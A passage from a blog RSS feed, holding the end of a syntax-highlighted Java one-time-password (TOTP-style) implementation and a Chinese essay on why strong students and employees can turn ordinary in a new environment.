		&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;longToBytes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;];&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;--)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFF&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;hexStringToBytes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hexString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hexString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hexString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;equals&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;hexString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hexString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;toUpperCase&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hexString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hexChars&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hexString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;toCharArray&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;d&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;];&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;charToByte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hexChars&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;charToByte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hexChars&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]));&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;charToByte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;0123456789ABCDEF&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;currentTimeMillis&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;timeDiff&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;ttl&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;longToBytes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;passwordLength&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;passwordLength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lengthBase&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;passwordLength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lengthBase&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;passwordLength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;passwordLength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;doFinal&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;

		&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
				&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;valueOf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lengthBase&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;passwordLength&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]);&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nc&quot;&gt;OneTimePassword&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;otp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;OneTimePassword&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;e959af1d9a80782d1dc2fce35968dca0d7d130cd&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;otp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
        <pubDate>Sat, 22 Jul 2017 16:51:40 +0800</pubDate>
        <link>http://www.gfzj.us/2017/07/22/one-time-password.html</link>
        <guid isPermaLink="true">http://www.gfzj.us/2017/07/22/one-time-password.html</guid>
        
        
      </item>
    
      <item>
        <title>泯然众人矣</title>
        <description>&lt;p&gt;几乎每个人都有这样的经历：高中的时候很厉害的同学，上了大学，成绩一般，甚至挂科；初中很厉害的同学，升了高中，成绩一般，考不上大学；在原单位出类拔萃的同事，到了别的单位变得很一般。当然也有相反的例子。&lt;/p&gt;

&lt;p&gt;同样一个人，为什么在不同的环境中，会有这么大差距？那么到底是换个环境改变了人，还是人克服了环境的限制？表现变好的人，到底经历了什么？&lt;/p&gt;

&lt;p&gt;首先研究一下好学生。&lt;/p&gt;

&lt;p&gt;所谓「好学生」，其实核心的 kpi 是「好成绩」。通用的特征是听话、按时完成作业，当然那些不听话，但是成绩特别棒的「更牛逼」，但是这种毕竟很难。除了极少数的天才，想取得「好成绩」的必要条件是：「良好的学习环境」+「好的学习方法」+「努力学习」。也就是「好的环境」+「科学地学习」+「时间」。&lt;/p&gt;

&lt;h1 id=&quot;好的环境&quot;&gt;好的环境&lt;/h1&gt;

&lt;ol&gt;
  &lt;li&gt;有学习条件。&lt;/li&gt;
  &lt;li&gt;不停能得到正向激励，把这个人推向「不得不考好」的境界。比如，一次偶然的考好，从此老师就开始不停的夸你，甚至会和「差生」区别对待，从而感到巨大的成就感。激励更努力的学习。&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;科学地学习方法&quot;&gt;科学地学习方法&lt;/h1&gt;

&lt;p&gt;有的人十年都没有学会「学习」。好的方法包括：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;科学的记忆。就像围棋的「打谱」，不停的记忆小的模式，从而记住大的棋局。资深棋手，下盲棋，不是要记住每一个点，而是记住整盘棋局的「势」，组成整个棋盘。而试图暴力记忆的新手，往往从一个角，一个点一个点的记忆，这是不可取的。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;不断总结套路的能力。比如高中数学题，基本上解题思路是固定的，比如：递归、极值、替换、求导数、向量法、图形结合。再加上一些常用的公式，基本上跑不出这些套路。仔细看课本目录，然后再总结每种「模式」，即使拿到一个题目，没有思路也没关系，从头到尾，遍历你知道的套路，就可以做出来了。&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;时间&quot;&gt;时间。&lt;/h1&gt;

&lt;p&gt;长时间练习。也就是刷题，刷题要结合上面的第二点才有意义。刷题的过程，其实是「打谱」的过程。这是基础。&lt;/p&gt;

&lt;p&gt;目前我的同龄人，基本上都是工作十年左右的。像集团这种「361」的考核体系，还是要把同事区分对待，然后拿不同的激励。那么如何做一个「好员工」？首先「好的环境」已经非常不重要了，因为大家都是中年人了，不需要讲各种道理；「科学地学习」也不算重要，因为每个人基本上都定型了；「时间」非常重要，不加班想把东西做得又快又好，基本上不可能。这里还要加一点就是：创造好的环境的能力。在一个普通团队里面，给大家找到爆破点，是一个非常重要的能力。&lt;/p&gt;

&lt;p&gt;总结起来，对一个想「突破一线」的人来说，各项占的比例大概是：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;人人夸的环境：5%&lt;/li&gt;
  &lt;li&gt;科学的学习：10%&lt;/li&gt;
  &lt;li&gt;时间: 50%&lt;/li&gt;
  &lt;li&gt;无中生有：35%&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;对于一个四平八稳的按照要求能完成工作的同事，可能作为底层「老黄牛」是称职的，不过大家千万不要陷入这种思维里面。都想做执行层？那执行什么？执行谁的决定？所以层级越高，「无中生有」能力要求越高。&lt;/p&gt;

&lt;p&gt;不过学习和工作毕竟不一样。学习可以说纯粹是为自己，对于当时的自己，学习基本上是生活的全部；对于大部分人，工作可不是生活的全部，可能是生活的1/3，所以投入的时间肯定是不一样的。这一点每个人都有自己的权衡。毕竟拿一个合同上写的工资，干八小时的活儿，做一个「众人」也是一种值得尊重的选择。&lt;/p&gt;

&lt;p&gt;怪不得淘宝城有一句话叫做「感谢曾经努力的自己」。建议 34 岁之前的人，还是要「努力工作」。因为过了这个年纪，就更难有「努力工作」的机会了。&lt;/p&gt;
</description>
        <pubDate>Tue, 18 Jul 2017 07:10:17 +0800</pubDate>
